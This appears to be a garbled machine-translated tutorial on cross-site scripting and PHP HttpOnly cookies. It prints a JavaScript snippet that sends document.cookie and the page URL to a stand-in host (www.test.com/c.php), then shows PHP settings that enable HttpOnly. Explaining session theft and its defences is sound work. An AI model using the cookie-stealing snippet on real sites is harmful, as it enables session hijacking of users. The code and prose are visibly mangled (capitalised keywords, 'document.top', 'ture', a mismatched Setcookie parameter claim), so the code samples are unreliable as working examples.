The concept of XSS does not have to say, its harm is great, which means that once your website has an XSS vulnerability, you can execute arbitrary JS code, the most frightening is the attacker to use JS to get a cookie or session hijacking, if this contains a lot of sensitive information (identity information, Administrator information) and so on ...
The following JS gets cookie information:
Copy the Code code as follows:
Url=document.top.location.href;
Cookie=document.cookie;
C=new Image ();
C.src= ' http://www.test.com/c.php?c= ' +cookie+ ' &u= ' +url;
The general cookie is obtained from the Document object, and now the browser generally accepts a parameter called HttpOnly when setting the cookie, as with other parameters such as domain, once the httponly is set, You don't see cookies in the browser's Document object.
PHP settings HttpOnly:
Copy the Code code as follows:
In php.ini, session.cookie_httponly = ture to turn on the HttpOnly property of the global cookie
Ini_set ("Session.cookie_httponly", 1);
or the seventh parameter of Setcookie () is set to True
Session_set_cookie_params (0, NULL, NULL, NULL, TRUE);
For PHP5.1 Previous versions of PHP through:
Copy the Code code as follows:
Header ("Set-cookie:hidden=value; HttpOnly ");
In the end, HttpOnly is not omnipotent!